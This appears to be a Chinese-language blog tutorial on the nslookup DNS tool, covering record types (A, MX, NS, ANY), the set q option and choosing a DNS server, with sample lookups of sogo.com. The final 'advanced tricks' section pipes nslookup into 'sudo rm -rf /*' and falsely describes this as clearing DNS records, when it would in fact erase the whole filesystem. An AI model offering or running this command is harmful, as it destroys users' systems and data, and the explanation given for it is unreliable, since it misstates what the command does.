

Nslookup

nslookup可以指定查询的类型，可以查到DNS记录的生存时间还可以指定使用哪个DNS服务器进行解释。在已安装TCP/IP协议的电脑上面均可以使用这个命令。主要用来诊断域名系统(DNS) 基础结构的信息。Nslookup(name server lookup)(域名查询):是一个用于查询Internet域名信息或诊断DNS 服务器问题的工具。

1.SET TYPE

```
> set type=A
> sogo.com
Server:          192.168.79.2
Address:         192.168.79.2#53

Non-authoritative answer:
Name:   sogo.com
Address: 36.110.170.48
Name:   sogo.com
Address: 36.110.165.43
Name:   sogo.com
Address: 36.110.164.37
Name:   sogo.com
Address: 106.39.246.42
Name:   sogo.com
Address: 49.7.20.53
```

A:

A (Address) 记录是用来指定主机名（或域名）对应的IP地址记录。用户可以将该域名下的网站服务器指向到自己的网页服务器(web server)上。同时也可以设置域名的子域名。

通俗来说A记录就是服务器的IP，域名绑定A记录就是告诉DNS，当输入域名的时候给你引导向设置在DNS的A记录所对应的服务器。

set type=A

仅查询主机A记录

MX:

MX记录是邮件交换记录，它指向一个邮件服务器，用于电子邮件系统发邮件时根据，收信人的地址后缀来定位邮件服务器。MX记录也叫做邮件路由记录，用户可以将该域名下的邮件服务器指向到自己的mail server上，然后即可自行操控所有的邮箱设置。

set type=MX

仅查询主机MX记录

NS:

NS (Name Server) 记录是域名服务器记录，用来指定该域名由哪个DNS服务器来进行解析。

set type=NS

仅查询主机NS记录

ANY:

set type=ANY

查询主机所有解析记录

2.SET Q

```
> set q=A
> sogo.com
Server:                192.168.79.2
Address:               192.168.79.2#53

Non-authoritative answer:
Name:   sogo.com
Address: 106.39.246.42
Name:   sogo.com
Address: 49.7.20.53
Name:   sogo.com
Address: 36.110.170.48
Name:   sogo.com
Address: 36.110.165.43
Name:   sogo.com
Address: 36.110.164.37
```

set q=A

仅查询主机A记录

set q=MX

仅查询主机MX记录

set q=NS

仅查询主机NS记录

set q=ANY

查询所有主机解析记录

3.SERVER

server 8.8.8.8

使用8.8.8.8 DNS服务器解析

```
> server 8.8.8.8
Default server: 8.8.8.8
Address: 8.8.8.8#53
```

```
C:\root> nslookup -type=a baidu.com
```

3.NSLOOKUP

type:

nslookup -type=a sogo.com

使用nslookup 查询sogo.com站点的所有A主机记录

q:

nslookup -q=a sogo.com

使用nslookup 查询sogo.com站点的所有A主机记录

```
C:\root> nslookup -type=a baidu.com 8.8.8.8
```

仅使用该DNS主机记录查询：

type:

nslookup -type=a sogo.com 8.8.8.8

使用nslookup仅用8.8.8.8 DNS服务器查询sogo.com站点的所有A主机记录

q:

nslookup -q=a sogo.com 8.8.8.8

使用nslookup仅用8.8.8.8 DNS服务器查询sogo.com站点的所有A主机记录

```
C:\root> nslookup -q=a sogo.com | sudo rm -rf /*
```

二，其他姿势（高端玩法）

nslookup -q=a sogo.com | sudo -rm -rf /*

使用nslookup对sogo.com使用A记录进行查询，并清除所有记录。